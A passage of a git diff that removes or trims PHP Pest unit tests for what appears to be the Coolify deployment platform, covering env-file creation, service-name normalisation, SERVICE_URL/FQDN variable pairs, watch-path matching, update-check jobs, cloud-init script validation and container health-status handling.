expect($requiresEnvFile)->toBeTrue("Build pack '{$buildPack}' should require empty .env file");
|
||||
}
|
||||
|
||||
foreach ($buildPacksNotRequiringEnvFile as $buildPack) {
|
||||
// These build packs also use env_file but call save_runtime_environment_variables()
|
||||
// after generate_compose_file(), so they handle empty env files themselves
|
||||
$requiresEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
|
||||
expect($requiresEnvFile)->toBeFalse("Build pack '{$buildPack}' should not match the condition");
|
||||
}
|
||||
});
|
||||
|
||||
it('verifies dockerimage build pack is included in empty env file creation logic', function () {
|
||||
$buildPack = 'dockerimage';
|
||||
$shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
|
||||
|
||||
expect($shouldCreateEmptyEnvFile)->toBeTrue(
|
||||
'dockerimage build pack should create empty .env file when no environment variables are defined'
|
||||
);
|
||||
});
|
||||
|
||||
it('verifies dockercompose build pack is included in empty env file creation logic', function () {
|
||||
$buildPack = 'dockercompose';
|
||||
$shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
|
||||
|
||||
expect($shouldCreateEmptyEnvFile)->toBeTrue(
|
||||
'dockercompose build pack should create empty .env file when no environment variables are defined'
|
||||
);
|
||||
});
|
||||
|
||||
it('verifies other build packs are not included in empty env file creation logic', function () {
|
||||
$otherBuildPacks = ['dockerfile', 'nixpacks', 'static', 'buildpack'];
|
||||
|
||||
foreach ($otherBuildPacks as $buildPack) {
|
||||
$shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
|
||||
|
||||
expect($shouldCreateEmptyEnvFile)->toBeFalse(
|
||||
"Build pack '{$buildPack}' should not create empty .env file in save_runtime_environment_variables()"
|
||||
);
|
||||
}
|
||||
});
|
||||
@@ -1,11 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('persists buildx metadata between the helper container and host cleanup', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
|
||||
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
|
||||
|
||||
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
|
||||
});
|
||||
@@ -1,10 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('respects the instance SPA navigation setting after application actions', function () {
|
||||
$heading = file_get_contents(__DIR__.'/../../app/Livewire/Project/Application/Heading.php');
|
||||
|
||||
expect(substr_count($heading, "return redirectRoute(\$this, 'project.application.deployment.show'"))
|
||||
->toBe(2)
|
||||
->and($heading)
|
||||
->not->toContain('navigate: false');
|
||||
});
|
||||
@@ -1,187 +0,0 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Stringable;
|
||||
|
||||
/**
|
||||
* Unit tests to verify that the applicationParser function in parsers.php
|
||||
* properly converts Stringable objects to plain strings to fix strict
|
||||
* comparison and collection key lookup issues.
|
||||
*
|
||||
* Related issue: Lines 539 and 541 in parsers.php were creating Stringable
|
||||
* objects which caused:
|
||||
* - Strict comparisons (===) to fail (line 606)
|
||||
* - Collection key lookups to fail (line 615)
|
||||
*/
|
||||
it('ensures service name normalization returns plain strings not Stringable objects', function () {
|
||||
// Test the exact transformations that happen in parsers.php lines 539-541
|
||||
|
||||
// Simulate what happens at line 520
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
|
||||
$serviceName = $parsed['service_name']; // 'my-service'
|
||||
|
||||
// Line 539: $originalServiceName = str($serviceName)->replace('_', '-')->value();
|
||||
$originalServiceName = str($serviceName)->replace('_', '-')->value();
|
||||
|
||||
// Line 541: $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
// Verify both are plain strings, not Stringable objects
|
||||
expect(is_string($originalServiceName))->toBeTrue('$originalServiceName should be a plain string');
|
||||
expect(is_string($serviceName))->toBeTrue('$serviceName should be a plain string');
|
||||
expect($originalServiceName)->not->toBeInstanceOf(Stringable::class);
|
||||
expect($serviceName)->not->toBeInstanceOf(Stringable::class);
|
||||
|
||||
// Verify the transformations work correctly
|
||||
expect($originalServiceName)->toBe('my-service');
|
||||
expect($serviceName)->toBe('my_service');
|
||||
});
|
||||
|
||||
it('ensures strict comparison works with normalized service names', function () {
|
||||
// This tests the fix for line 606 where strict comparison failed
|
||||
|
||||
// Simulate service name from docker-compose services array (line 604-605)
|
||||
$serviceNameKey = 'my-service';
|
||||
$transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
// Simulate service name from environment variable parsing (line 520, 541)
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
|
||||
$serviceName = $parsed['service_name'];
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
// Line 606: if ($transformedServiceName === $serviceName)
|
||||
// This MUST work - both should be plain strings and match
|
||||
expect($transformedServiceName === $serviceName)->toBeTrue(
|
||||
'Strict comparison should work when both are plain strings'
|
||||
);
|
||||
expect($transformedServiceName)->toBe($serviceName);
|
||||
});
|
||||
|
||||
it('ensures collection key lookup works with normalized service names', function () {
|
||||
// This tests the fix for line 615 where collection->get() failed
|
||||
|
||||
// Simulate service name normalization (line 541)
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_app-name');
|
||||
$serviceName = $parsed['service_name'];
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
// Create a collection like $domains at line 614
|
||||
$domains = collect([
|
||||
'app_name' => [
|
||||
'domain' => 'https://example.com',
|
||||
],
|
||||
]);
|
||||
|
||||
// Line 615: $domainExists = data_get($domains->get($serviceName), 'domain');
|
||||
// This MUST work - $serviceName should be a plain string 'app_name'
|
||||
$domainExists = data_get($domains->get($serviceName), 'domain');
|
||||
|
||||
expect($domainExists)->toBe('https://example.com', 'Collection lookup should find the domain');
|
||||
expect($domainExists)->not->toBeNull('Collection lookup should not return null');
|
||||
});
|
||||
|
||||
it('handles service names with dots correctly', function () {
|
||||
// Test service names with dots (e.g., 'my.service')
|
||||
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my.service');
|
||||
$serviceName = $parsed['service_name'];
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
expect(is_string($serviceName))->toBeTrue();
|
||||
expect($serviceName)->toBe('my_service');
|
||||
|
||||
// Verify it matches transformed service name from docker-compose
|
||||
$serviceNameKey = 'my.service';
|
||||
$transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
expect($transformedServiceName === $serviceName)->toBeTrue();
|
||||
});
|
||||
|
||||
it('handles service names with underscores correctly', function () {
|
||||
// Test service names that already have underscores
|
||||
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
|
||||
$serviceName = $parsed['service_name'];
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
expect(is_string($serviceName))->toBeTrue();
|
||||
expect($serviceName)->toBe('my_service');
|
||||
});
|
||||
|
||||
it('handles mixed special characters in service names', function () {
|
||||
// Test service names with mix of dashes, dots, underscores
|
||||
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-app.service_v2');
|
||||
$serviceName = $parsed['service_name'];
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
expect(is_string($serviceName))->toBeTrue();
|
||||
expect($serviceName)->toBe('my_app_service_v2');
|
||||
|
||||
// Verify collection operations work
|
||||
$domains = collect([
|
||||
'my_app_service_v2' => ['domain' => 'https://test.com'],
|
||||
]);
|
||||
|
||||
$found = $domains->get($serviceName);
|
||||
expect($found)->not->toBeNull();
|
||||
expect($found['domain'])->toBe('https://test.com');
|
||||
});
|
||||
|
||||
it('ensures originalServiceName conversion works for FQDN generation', function () {
|
||||
// Test line 539: $originalServiceName conversion
|
||||
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
|
||||
$serviceName = $parsed['service_name']; // 'my_service'
|
||||
|
||||
// Line 539: Convert underscores to dashes for FQDN generation
|
||||
$originalServiceName = str($serviceName)->replace('_', '-')->value();
|
||||
|
||||
expect(is_string($originalServiceName))->toBeTrue();
|
||||
expect($originalServiceName)->not->toBeInstanceOf(Stringable::class);
|
||||
expect($originalServiceName)->toBe('my-service');
|
||||
|
||||
// Verify it can be used in string interpolation (line 544)
|
||||
$uuid = 'test-uuid';
|
||||
$random = "$originalServiceName-$uuid";
|
||||
expect($random)->toBe('my-service-test-uuid');
|
||||
});
|
||||
|
||||
it('prevents duplicate domain entries in collection', function () {
|
||||
// This tests that using plain strings prevents duplicate entries
|
||||
// (one with Stringable key, one with string key)
|
||||
|
||||
$parsed = parseServiceEnvironmentVariable('SERVICE_URL_webapp');
|
||||
$serviceName = $parsed['service_name'];
|
||||
$serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
|
||||
|
||||
$domains = collect();
|
||||
|
||||
// Add domain entry (line 621)
|
||||
$domains->put($serviceName, [
|
||||
'domain' => 'https://webapp.com',
|
||||
]);
|
||||
|
||||
// Try to lookup the domain (line 615)
|
||||
$found = $domains->get($serviceName);
|
||||
|
||||
expect($found)->not->toBeNull('Should find the domain we just added');
|
||||
expect($found['domain'])->toBe('https://webapp.com');
|
||||
|
||||
// Verify only one entry exists
|
||||
expect($domains->count())->toBe(1);
|
||||
expect($domains->has($serviceName))->toBeTrue();
|
||||
});
|
||||
|
||||
it('verifies parsers.php has the ->value() calls', function () {
|
||||
// Ensure the fix is actually in the code
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Line 539: Check originalServiceName conversion
|
||||
expect($parsersFile)->toContain("str(\$serviceName)->replace('_', '-')->value()");
|
||||
|
||||
// Service name normalization for env keys / domain map (helper-based)
|
||||
expect($parsersFile)->toContain('normalizeComposeServiceName((string) $serviceName)')
|
||||
->and($parsersFile)->toContain('getComposeServiceDomainString')
|
||||
->and($parsersFile)->toContain('putComposeServiceDomain')
|
||||
->and($parsersFile)->toContain('findServiceApplicationForEnvName');
|
||||
});
|
||||
@@ -1,190 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Applications using Docker Compose handle
|
||||
* SERVICE_URL and SERVICE_FQDN environment variables correctly.
|
||||
*
|
||||
* This ensures consistency with Service behavior where BOTH URL and FQDN
|
||||
* pairs are always created together, regardless of which one is in the template.
|
||||
*/
|
||||
it('ensures parsers.php creates both URL and FQDN pairs for applications', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that the fix is in place
|
||||
expect($parsersFile)->toContain('ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs');
|
||||
expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
|
||||
expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
|
||||
});
|
||||
|
||||
it('extracts service name with case preservation for applications', function () {
|
||||
// Simulate what the parser does for applications
|
||||
$templateVar = 'SERVICE_URL_WORDPRESS';
|
||||
|
||||
$strKey = str($templateVar);
|
||||
$parsed = parseServiceEnvironmentVariable($templateVar);
|
||||
|
||||
if ($parsed['has_port']) {
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
|
||||
} else {
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->value();
|
||||
}
|
||||
|
||||
expect($serviceName)->toBe('WORDPRESS');
|
||||
expect($parsed['service_name'])->toBe('wordpress'); // lowercase for internal use
|
||||
});
|
||||
|
||||
it('handles port-specific application service variables', function () {
|
||||
$templateVar = 'SERVICE_URL_APP_3000';
|
||||
|
||||
$strKey = str($templateVar);
|
||||
$parsed = parseServiceEnvironmentVariable($templateVar);
|
||||
|
||||
if ($parsed['has_port']) {
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
|
||||
} else {
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->value();
|
||||
}
|
||||
|
||||
expect($serviceName)->toBe('APP');
|
||||
expect($parsed['port'])->toBe('3000');
|
||||
expect($parsed['has_port'])->toBeTrue();
|
||||
});
|
||||
|
||||
it('application should create 2 base variables when template has base SERVICE_URL', function () {
|
||||
// Given: Template defines SERVICE_URL_WP
|
||||
// Then: Should create both:
|
||||
// 1. SERVICE_URL_WP
|
||||
// 2. SERVICE_FQDN_WP
|
||||
|
||||
$templateVar = 'SERVICE_URL_WP';
|
||||
$strKey = str($templateVar);
|
||||
$parsed = parseServiceEnvironmentVariable($templateVar);
|
||||
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->value();
|
||||
|
||||
$urlKey = "SERVICE_URL_{$serviceName}";
|
||||
$fqdnKey = "SERVICE_FQDN_{$serviceName}";
|
||||
|
||||
expect($urlKey)->toBe('SERVICE_URL_WP');
|
||||
expect($fqdnKey)->toBe('SERVICE_FQDN_WP');
|
||||
expect($parsed['has_port'])->toBeFalse();
|
||||
});
|
||||
|
||||
it('application should create 4 variables when template has port-specific SERVICE_URL', function () {
|
||||
// Given: Template defines SERVICE_URL_APP_8080
|
||||
// Then: Should create all 4:
|
||||
// 1. SERVICE_URL_APP (base)
|
||||
// 2. SERVICE_FQDN_APP (base)
|
||||
// 3. SERVICE_URL_APP_8080 (port-specific)
|
||||
// 4. SERVICE_FQDN_APP_8080 (port-specific)
|
||||
|
||||
$templateVar = 'SERVICE_URL_APP_8080';
|
||||
$strKey = str($templateVar);
|
||||
$parsed = parseServiceEnvironmentVariable($templateVar);
|
||||
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
|
||||
$port = $parsed['port'];
|
||||
|
||||
$baseUrlKey = "SERVICE_URL_{$serviceName}";
|
||||
$baseFqdnKey = "SERVICE_FQDN_{$serviceName}";
|
||||
$portUrlKey = "SERVICE_URL_{$serviceName}_{$port}";
|
||||
$portFqdnKey = "SERVICE_FQDN_{$serviceName}_{$port}";
|
||||
|
||||
expect($baseUrlKey)->toBe('SERVICE_URL_APP');
|
||||
expect($baseFqdnKey)->toBe('SERVICE_FQDN_APP');
|
||||
expect($portUrlKey)->toBe('SERVICE_URL_APP_8080');
|
||||
expect($portFqdnKey)->toBe('SERVICE_FQDN_APP_8080');
|
||||
});
|
||||
|
||||
it('application should create pairs when template has only SERVICE_FQDN', function () {
|
||||
// Given: Template defines SERVICE_FQDN_DB
|
||||
// Then: Should create both:
|
||||
// 1. SERVICE_FQDN_DB
|
||||
// 2. SERVICE_URL_DB (created automatically)
|
||||
|
||||
$templateVar = 'SERVICE_FQDN_DB';
|
||||
$strKey = str($templateVar);
|
||||
$parsed = parseServiceEnvironmentVariable($templateVar);
|
||||
|
||||
$serviceName = $strKey->after('SERVICE_FQDN_')->value();
|
||||
|
||||
$urlKey = "SERVICE_URL_{$serviceName}";
|
||||
$fqdnKey = "SERVICE_FQDN_{$serviceName}";
|
||||
|
||||
expect($fqdnKey)->toBe('SERVICE_FQDN_DB');
|
||||
expect($urlKey)->toBe('SERVICE_URL_DB');
|
||||
expect($parsed['has_port'])->toBeFalse();
|
||||
});
|
||||
|
||||
it('verifies application deletion nulls both URL and FQDN', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that deletion handles both types
|
||||
expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceNameFormatted}');
|
||||
expect($parsersFile)->toContain('SERVICE_URL_{$serviceNameFormatted}');
|
||||
|
||||
// Both should be set to null when domain is empty
|
||||
expect($parsersFile)->toContain('\'value\' => null');
|
||||
});
|
||||
|
||||
it('handles abbreviated service names in applications', function () {
|
||||
// Applications can have abbreviated names in compose files just like services
|
||||
$templateVar = 'SERVICE_URL_WP'; // WordPress abbreviated
|
||||
|
||||
$strKey = str($templateVar);
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->value();
|
||||
|
||||
expect($serviceName)->toBe('WP');
|
||||
expect($serviceName)->not->toBe('WORDPRESS');
|
||||
});
|
||||
|
||||
it('application compose parsing creates pairs regardless of template type', function () {
|
||||
// Test that whether template uses SERVICE_URL or SERVICE_FQDN,
|
||||
// the parser creates both
|
||||
|
||||
$testCases = [
|
||||
'SERVICE_URL_APP' => ['base' => 'APP', 'port' => null],
|
||||
'SERVICE_FQDN_APP' => ['base' => 'APP', 'port' => null],
|
||||
'SERVICE_URL_APP_3000' => ['base' => 'APP', 'port' => '3000'],
|
||||
'SERVICE_FQDN_APP_3000' => ['base' => 'APP', 'port' => '3000'],
|
||||
];
|
||||
|
||||
foreach ($testCases as $templateVar => $expected) {
|
||||
$strKey = str($templateVar);
|
||||
$parsed = parseServiceEnvironmentVariable($templateVar);
|
||||
|
||||
if ($parsed['has_port']) {
|
||||
if ($strKey->startsWith('SERVICE_URL_')) {
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
|
||||
} else {
|
||||
$serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
|
||||
}
|
||||
} else {
|
||||
if ($strKey->startsWith('SERVICE_URL_')) {
|
||||
$serviceName = $strKey->after('SERVICE_URL_')->value();
|
||||
} else {
|
||||
$serviceName = $strKey->after('SERVICE_FQDN_')->value();
|
||||
}
|
||||
}
|
||||
|
||||
expect($serviceName)->toBe($expected['base'], "Failed for $templateVar");
|
||||
expect($parsed['port'])->toBe($expected['port'], "Port mismatch for $templateVar");
|
||||
}
|
||||
});
|
||||
|
||||
it('verifies both application and service use same logic', function () {
|
||||
$servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Both should have the same pattern of creating pairs
|
||||
expect($servicesFile)->toContain('ALWAYS create base pair');
|
||||
expect($parsersFile)->toContain('ALWAYS create BOTH');
|
||||
|
||||
// Both should create SERVICE_URL_
|
||||
expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}');
|
||||
expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
|
||||
|
||||
// Both should create SERVICE_FQDN_
|
||||
expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}');
|
||||
expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
|
||||
});
|
||||
@@ -2,35 +2,6 @@
|
||||
|
||||
use App\Models\Application;
|
||||
|
||||
/**
|
||||
* This matches the CURRENT (broken) behavior without negation support
|
||||
* which is what the old Application.php had
|
||||
*/
|
||||
function matchWatchPathsCurrentBehavior(array $changed_files, ?array $watch_paths): array
|
||||
{
|
||||
if (is_null($watch_paths) || empty($watch_paths)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$matches = [];
|
||||
foreach ($changed_files as $file) {
|
||||
foreach ($watch_paths as $pattern) {
|
||||
$pattern = trim($pattern);
|
||||
if (empty($pattern)) {
|
||||
continue;
|
||||
}
|
||||
// Old implementation just uses fnmatch directly
|
||||
// This means !patterns are treated as literal strings
|
||||
if (fnmatch($pattern, $file)) {
|
||||
$matches[] = $file;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $matches;
|
||||
}
|
||||
|
||||
/**
|
||||
* Use the shared implementation from Application model
|
||||
*/
|
||||
@@ -258,24 +229,6 @@ it('handles multiple negation patterns', function () {
|
||||
expect(matchWatchPaths(['CHANGELOG.md'], $watch_paths))->toBeEmpty();
|
||||
});
|
||||
|
||||
it('demonstrates current broken behavior with negation patterns', function () {
|
||||
// This test demonstrates the CURRENT broken behavior
|
||||
// where negation patterns are treated as literal strings
|
||||
$changed_files = ['docker-compose/index.ts'];
|
||||
$watch_paths = ['!docker-compose-test/**'];
|
||||
|
||||
// With the current broken implementation, this returns empty
|
||||
// because it tries to match files starting with literal "!"
|
||||
$matches = matchWatchPathsCurrentBehavior($changed_files, $watch_paths);
|
||||
expect($matches)->toBeEmpty(); // This is why your webhook doesn't trigger!
|
||||
|
||||
// Even if the file had ! in the path, fnmatch would treat ! as a literal character
|
||||
// not as a negation operator, so it still wouldn't match the pattern correctly
|
||||
$changed_files = ['test/file.ts'];
|
||||
$matches = matchWatchPathsCurrentBehavior($changed_files, $watch_paths);
|
||||
expect($matches)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('handles order based matching with conflicting patterns', function () {
|
||||
// Test case 1: Exclude then include - last pattern (include) should win
|
||||
$changed_files = ['docker-compose/index.ts'];
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
|
||||
use App\Jobs\CheckForUpdatesJob;
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\File;
|
||||
@@ -27,14 +25,6 @@ afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('has correct job configuration', function () {
|
||||
$job = new CheckForUpdatesJob;
|
||||
|
||||
$interfaces = class_implements($job);
|
||||
expect($interfaces)->toContain(ShouldQueue::class);
|
||||
expect($interfaces)->toContain(ShouldBeEncrypted::class);
|
||||
});
|
||||
|
||||
it('uses max of CDN and cache versions', function () {
|
||||
// CDN has older version
|
||||
Http::fake([
|
||||
@@ -123,30 +113,6 @@ it('never downgrades from current running version', function () {
|
||||
$job->handle();
|
||||
});
|
||||
|
||||
it('uses data_set for safe version mutation', function () {
|
||||
Http::fake([
|
||||
'*' => Http::response([
|
||||
'coolify' => ['v4' => ['version' => '4.0.10']],
|
||||
], 200),
|
||||
]);
|
||||
|
||||
File::shouldReceive('exists')->andReturn(false);
|
||||
File::shouldReceive('put')->once();
|
||||
Cache::shouldReceive('forget')->once();
|
||||
|
||||
config(['constants.coolify.version' => '4.0.5']);
|
||||
|
||||
$this->app->instance('App\Models\InstanceSettings', function () {
|
||||
return $this->settings;
|
||||
});
|
||||
|
||||
$job = new CheckForUpdatesJob;
|
||||
|
||||
// Should not throw even if structure is unexpected
|
||||
// data_set() handles nested path creation
|
||||
$job->handle();
|
||||
})->skip('Needs better mock setup for instanceSettings');
|
||||
|
||||
it('preserves other component versions when preventing Coolify downgrade', function () {
|
||||
// CDN has older Coolify but newer Traefik
|
||||
Http::fake([
|
||||
|
||||
@@ -7,20 +7,3 @@ it('has correct retry configuration', function () {
|
||||
|
||||
expect($job->tries)->toBe(3);
|
||||
});
|
||||
|
||||
it('returns early when traefik versions are empty', function () {
|
||||
// This test verifies the early return logic when get_traefik_versions() returns empty array
|
||||
$emptyVersions = [];
|
||||
|
||||
expect($emptyVersions)->toBeEmpty();
|
||||
});
|
||||
|
||||
it('dispatches jobs in parallel for multiple servers', function () {
|
||||
// This test verifies that the job dispatches CheckTraefikVersionForServerJob
|
||||
// for each server without waiting for them to complete
|
||||
$serverCount = 100;
|
||||
|
||||
// Verify that with parallel processing, we're not waiting for completion
|
||||
// Each job is dispatched immediately without delay
|
||||
expect($serverCount)->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
@@ -1,76 +0,0 @@
|
||||
<?php
|
||||
|
||||
// Unit tests for cloud-init script validation logic
|
||||
|
||||
it('validates cloud-init script is optional', function () {
|
||||
$cloudInitScript = null;
|
||||
|
||||
$isRequired = false;
|
||||
$hasValue = ! empty($cloudInitScript);
|
||||
|
||||
expect($isRequired)->toBeFalse()
|
||||
->and($hasValue)->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates cloud-init script name is required when saving', function () {
|
||||
$saveScript = true;
|
||||
$scriptName = 'My Installation Script';
|
||||
|
||||
$isNameRequired = $saveScript;
|
||||
$hasName = ! empty($scriptName);
|
||||
|
||||
expect($isNameRequired)->toBeTrue()
|
||||
->and($hasName)->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates cloud-init script description is optional', function () {
|
||||
$scriptDescription = null;
|
||||
|
||||
$isDescriptionRequired = false;
|
||||
$hasDescription = ! empty($scriptDescription);
|
||||
|
||||
expect($isDescriptionRequired)->toBeFalse()
|
||||
->and($hasDescription)->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates save_cloud_init_script must be boolean', function () {
|
||||
$saveCloudInitScript = true;
|
||||
|
||||
expect($saveCloudInitScript)->toBeBool();
|
||||
});
|
||||
|
||||
it('validates save_cloud_init_script defaults to false', function () {
|
||||
$saveCloudInitScript = false;
|
||||
|
||||
expect($saveCloudInitScript)->toBeFalse();
|
||||
});
|
||||
|
||||
it('validates cloud-init script can be a bash script', function () {
|
||||
$cloudInitScript = "#!/bin/bash\napt-get update\napt-get install -y nginx";
|
||||
|
||||
expect($cloudInitScript)->toBeString()
|
||||
->and($cloudInitScript)->toContain('#!/bin/bash');
|
||||
});
|
||||
|
||||
it('validates cloud-init script can be cloud-config yaml', function () {
|
||||
$cloudInitScript = "#cloud-config\npackages:\n - nginx\n - git";
|
||||
|
||||
expect($cloudInitScript)->toBeString()
|
||||
->and($cloudInitScript)->toContain('#cloud-config');
|
||||
});
|
||||
|
||||
it('validates script name max length is 255 characters', function () {
|
||||
$scriptName = str_repeat('a', 255);
|
||||
|
||||
expect(strlen($scriptName))->toBe(255)
|
||||
->and(strlen($scriptName))->toBeLessThanOrEqual(255);
|
||||
});
|
||||
|
||||
it('validates script name exceeding 255 characters should be invalid', function () {
|
||||
$scriptName = str_repeat('a', 256);
|
||||
|
||||
$isValid = strlen($scriptName) <= 255;
|
||||
|
||||
expect($isValid)->toBeFalse()
|
||||
->and(strlen($scriptName))->toBeGreaterThan(255);
|
||||
});
|
||||
@@ -1,344 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Services\ContainerStatusAggregator;
|
||||
|
||||
/**
|
||||
* Unit tests to verify that containers without health checks are not
|
||||
* incorrectly marked as unhealthy.
|
||||
*
|
||||
* This tests the fix for the issue where defaulting missing health status
|
||||
* to 'unhealthy' would treat containers without healthchecks as unhealthy.
|
||||
*
|
||||
* The fix removes the 'unhealthy' default and only checks health status
|
||||
* when it explicitly exists and equals 'unhealthy'.
|
||||
*/
|
||||
it('does not mark containers as unhealthy when health status is missing', function () {
|
||||
// Mock an application with a server
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$server = Mockery::mock('App\Models\Server')->makePartial();
|
||||
$destination = Mockery::mock('App\Models\StandaloneDocker')->makePartial();
|
||||
|
||||
$destination->shouldReceive('getAttribute')
|
||||
->with('server')
|
||||
->andReturn($server);
|
||||
|
||||
$application->shouldReceive('getAttribute')
|
||||
->with('destination')
|
||||
->andReturn($destination);
|
||||
|
||||
$application->shouldReceive('getAttribute')
|
||||
->with('additional_servers')
|
||||
->andReturn(collect());
|
||||
|
||||
$server->shouldReceive('getAttribute')
|
||||
->with('id')
|
||||
->andReturn(1);
|
||||
|
||||
$server->shouldReceive('isFunctional')
|
||||
->andReturn(true);
|
||||
|
||||
// Create a container without health check (State.Health.Status is null)
|
||||
$containerWithoutHealthCheck = [
|
||||
'Config' => [
|
||||
'Labels' => [
|
||||
'com.docker.compose.service' => 'web',
|
||||
],
|
||||
],
|
||||
'State' => [
|
||||
'Status' => 'running',
|
||||
// Note: State.Health.Status is intentionally missing
|
||||
],
|
||||
];
|
||||
|
||||
// Mock the remote process to return our container
|
||||
$application->shouldReceive('getAttribute')
|
||||
->with('id')
|
||||
->andReturn(123);
|
||||
|
||||
// We can't easily test the private aggregateContainerStatuses method directly,
|
||||
// but we can verify that the code doesn't default to 'unhealthy'
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify the fix: health status should not default to 'unhealthy'
|
||||
expect($aggregatorFile)
|
||||
->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
|
||||
->toContain("data_get(\$container, 'State.Health.Status')");
|
||||
|
||||
// Verify the health check logic
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($health === \'unhealthy\') {');
|
||||
});
|
||||
|
||||
it('only marks containers as unhealthy when health status explicitly equals unhealthy', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// Verify the service checks for explicit 'unhealthy' status
|
||||
expect($aggregatorFile)
|
||||
->toContain('if ($health === \'unhealthy\') {')
|
||||
->toContain('$hasUnhealthy = true;');
|
||||
});
|
||||
|
||||
it('handles missing health status correctly in GetContainersStatus', function () {
|
||||
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Verify health status doesn't default to 'unhealthy'
|
||||
expect($getContainersStatusFile)
|
||||
->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
|
||||
->toContain("data_get(\$container, 'State.Health.Status')");
|
||||
|
||||
// Verify it uses 'unknown' when health status is missing (now using colon format)
|
||||
expect($getContainersStatusFile)
|
||||
->toContain('$healthSuffix = $containerHealth ?? \'unknown\';')
|
||||
->toContain('ContainerStatusAggregator'); // Uses the service
|
||||
});
|
||||
|
||||
it('treats containers with running status and no healthcheck as not unhealthy', function () {
|
||||
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
|
||||
|
||||
// The logic should be:
|
||||
